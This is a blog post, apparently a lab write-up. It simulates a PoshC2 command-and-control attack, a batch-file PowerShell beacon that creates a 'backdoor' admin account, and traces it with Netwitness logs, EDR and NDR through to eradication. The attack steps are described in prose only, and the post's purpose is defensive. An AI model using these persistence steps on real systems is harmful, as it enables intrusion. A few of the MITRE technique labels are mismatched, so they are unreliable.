Detecting PoshC2 With Netwitness

[bahrawey]

Introduction:

PoshC2, a powerful post-exploitation framework, has become a popular tool for adversaries to maintain persistence and execute various malicious activities within compromised networks. This blog post will delve into a simulated PoshC2 attack that traverses multiple MITRE ATT&CK tactics, from payload creation to establishing persistence. We will then explore how a Security Operations Center (SOC) analyst can effectively detect and mitigate such threats using Netwitness, leveraging its advanced capabilities in log analysis, Endpoint Detection and Response (EDR), and Network Detection and Response (NDR).

Attack Scenario:

This blog post will examine a real-world scenario where a Security Operations Center (SOC) was alerted to suspicious encrypted traffic originating from an agent host and an unknown malicious IP address. Upon further investigation, it became evident that the host had already been compromised by a Command and Control (C2) attack. We will explore how Netwitness, with its advanced log analysis, Endpoint Detection and Response (EDR), and Network Detection and Response (NDR) capabilities, played a crucial role in detecting and mitigating this threat.

Red Team Tools:

• PoshC2
• Python3.12

Blue Team Tools:

• Sysmon logs
• Netwitness EDR
• Netwitness NDR
• VirusTotal

Link for resources:

• GitHub - nettitude/PoshC2: A proxy aware C2 framework used to aid red teamers with post-exploitation and lateral movement.
• Download Python | Python.org
• Sysmon - Sysinternals | Microsoft Learn
• Network Threat Detection & Cyber Security | NetWitness
• VirusTotal - Home

Additional Considerations:

It is important to emphasize that this blog post is intended for educational purposes only. Any actions described in this post should not be attempted on unauthorized systems. Always adhere to ethical and legal guidelines when conducting security investigations.

The Attack:

Red Team Activity:

Resource Development

T1588.002: Obtain Capabilities: Tool

In this phase of the PoshC2 attack, the adversary focuses on acquiring the necessary tools and resources to establish and maintain persistence within the compromised environment. This aligns with the MITRE ATT&CK technique T1588.002.

A custom payload was crafted to connect to the attacker's machine via an encrypted HTTPS channel. PoshC2 offers a versatile range of payload options, including batch files, HTA files, and raw PowerShell commands, allowing attackers to select the most suitable delivery method based on the target environment and desired level of stealth.

For this lab, we utilized a batch file payload (payload.bat) as a representative example. The batch file contains the necessary instructions to establish the initial connection with the attacker's command and control server and execute subsequent malicious actions.

Delivery

T1189: Exploit Public-Facing Application: Web Server

The next phase of the attack involves delivering the malicious payload to the target system. This aligns with the MITRE ATT&CK technique T1189.

A straightforward delivery method was employed in this scenario. A web server was configured to host the payloads created in the previous step, making them accessible to potential victims. The attacker would then wait for unsuspecting users to visit the malicious website and download the infected file. This technique leverages the widespread use of web servers and the trust that users often place in online content to trick victims into executing malicious code.

• Execution
• T1204: Execute PowerShell Commands

• Once the victim downloads and executes the malicious batch file, the attack enters the execution phase, aligning with the MITRE ATT&CK technique T1204.

The batch file immediately launches a PowerShell script that establishes communication with the attacker's machine. This communication channel is encrypted using base64 encoding to obfuscate the malicious activity and evade detection by security systems. The PowerShell script acts as a bridge between the compromised victim machine and the attacker's command and control server, enabling the adversary to remotely execute commands and maintain persistence.

Persistence

T1136.001: Create Accounts

To maintain long-term access to the compromised system, the attacker establishes persistence. This aligns with the MITRE ATT&CK technique T1136.001.

A local account named "backdoor" is created on the infected host. This account provides the attacker with a privileged backdoor into the system, allowing them to bypass authentication mechanisms and execute malicious commands even after the initial infection vector has been removed. The persistence mechanism ensures that the attacker can regain control of the compromised system at any time, making it difficult to eradicate the threat.

Detection:

• An Incident was created Alerting that a possible C2 Beaconing is happening
• Upon checking the alerts and investigating further, found that connection between local machine and other IP with fixed interval of 30 sec
• A huge number of source port used with only 2 events for each port
• It looks like malicious https traffic, seems like a keepalive behavior,

• Lets collect all the logs related to attacker IP
• After checking we found that all the events related to this ip has event id 3
• This indicates network connection was established

• Digging deeper into one of those events we noticed that the process source responsible for this connection is powershell with pid 9032
• This connection is using port 443 as encrypted channel

• Shifting our focus to powershell process to learn more about what maybe the command executed
• Found that command was encoded by base64.
• Let use Netwitness decode feature to understand further the command construction
• After decode the command, It looks like this is double layer encoded command

• For same event lets check the ppid responsible for starting powershell.
• Cmd command was ran batch file named payload.bat
• Checking the process behind running payload.bat, found that explorer.exe
• It seems that user intentionally executed the batch file

• Tracing payload.bat to have the full picture of the source of this incident
• Found that payload.bat was downloaded by msedge

NDR

Analyzing NDR to check the web traffic as we can learn more about the source of this payload.bat.

• We can see the GET request towards the web server where the payload.bat was downloaded
• It seems like there were another maliocues files hosted on the same web server
• Also there was anther GET request to download one of those files to this machine
• After investigating it seems that the other maliouce file downloaded was not executed

EDR

• Switching to EDR to have more information of the process tree of this incident
• Starting from explorer.exe which executed the powershell command

• Focusing on CMD.exe to list all the processes that it ran
• We found that 2 main processes powershell & conhost
• This is mainly the first process ran after executing the payload.bat
• After selecting the cmd.exe we can indeed see that it was executing the main powershell command ran.

• Skipping conhost as we already know that communication channel was established
• We can move to powershell process to learn more about what commands that maybe executed during this channel
• It seems that attacker gained ran some commands to gain more information of his current privilege such as whoami, net user …etc
• Also it seems that they created a new user account named backdoor, and assigned this user account administrator privilege

• Switching to EDR host alerts to verify the previous findings
• Found many alerts sourced by powershell process, such as creating user, enumeration of local groups …etc

• Utilize EDR feature to lookup payload.bat on virustotal
• We couldn’t find any similar files with same hash

• Moving to eradication part, lets connect to the infected machine
• Confirm the payload.bat is still present and remove it
• Confirm powershell process is running and kill it
• Remove the backdoor account created
• Keep this machine under close monitoring
• Update SOC playbook with the incident artifacts

Attack timeline:

• User Downloaded payload.bat and another malicious file using msedge
• After downloading the execution was done by explorer.exe (manual execution)
• After bat file was executed powershell started running encoded commands
• This series of commands seems to be C2 connection.
• Those commands resulted in creating new account called backdoor with admin privileges

Conclusion:

This case study demonstrates the effectiveness of utilizing multiple data sources for comprehensive threat investigation and confirmation. By combining log analysis, EDR, and NDR capabilities within Netwitness, security teams can gain a deeper understanding of malicious activities and respond more effectively to incidents like PoshC2 attacks.